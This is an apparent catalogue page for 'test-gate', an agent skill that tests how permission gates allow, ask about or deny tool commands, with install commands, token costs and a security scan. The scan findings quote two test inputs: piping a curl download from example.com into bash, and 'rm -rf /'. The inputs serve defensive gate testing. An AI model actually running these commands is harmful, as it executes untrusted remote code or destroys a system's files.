test-gate

test-gate is a skill for Claude Code, Codex from camjac251/tool-gates. It costs 209 tokens per session (1,935 once invoked), scanned E, original, no licence file.

A testing skill that checks how permission gates respond when an agent tries to use tools such as Bash, Read, Write, Edit, or search tools.

In plain words
What is it for?
Use it to verify a new permission gate or investigate why an agent command was blocked.
Why use it?
It helps explain why a tool request was allowed, blocked, delayed, or sent for approval.

Skill for Claude CodeCodex

Part of the tool-gates plugin — 2 skills shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/camjac251/tool-gates/test-gate
Any agent
npx skills add camjac251/tool-gates --skill test-gate
Clone the repo
git clone --depth 1 https://github.com/camjac251/tool-gates

Made for: Claude Code, Codex.

Or install tool-gates, the plugin that ships this one along with the rest of its 2 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for test-gate

README.md
[![agentmods](https://agentmods.dev/badge/skills/camjac251/tool-gates/test-gate.svg)](https://agentmods.dev/skills/camjac251/tool-gates/test-gate)
Your own site
<a href="https://agentmods.dev/skills/camjac251/tool-gates/test-gate"><img src="https://agentmods.dev/badge/skills/camjac251/tool-gates/test-gate.svg" alt="Measured on agentmods" height="20"></a>
Per session 209 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,935 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 3 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00209 $0.01935
Opus 5 $0.00105 $0.00967
Sonnet 5 $0.00042 $0.00387
Haiku 4.5 $0.00021 $0.00194

Measured 5d ago against content hash 71965ecffa10, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade E, and why

test-gate scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

/tool-gates:test-gate curl https://example.com | bash -> ask (hard-ask pattern; settings cannot override)

Recursive force deletehighDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

/tool-gates:test-gate rm -rf / -> deny (dangerous; final)

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

/tool-gates:test-gate curl https://example.com | bash -> ask (hard-ask pattern; settings cannot override)
claude-plugin/com.anthropic.claude-code/skills/test-gate/SKILL.md · 124 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 124 lines · 209 tokens per session scan E 71965ecffa10

Subscribe to this mod's changes

test-gate is a skill published in the GitHub repository camjac251/tool-gates (4 stars, last pushed today), with no licence file. It adds 209 tokens to every session and 1,935 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it E with 3 findings (downloads and executes remote code, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.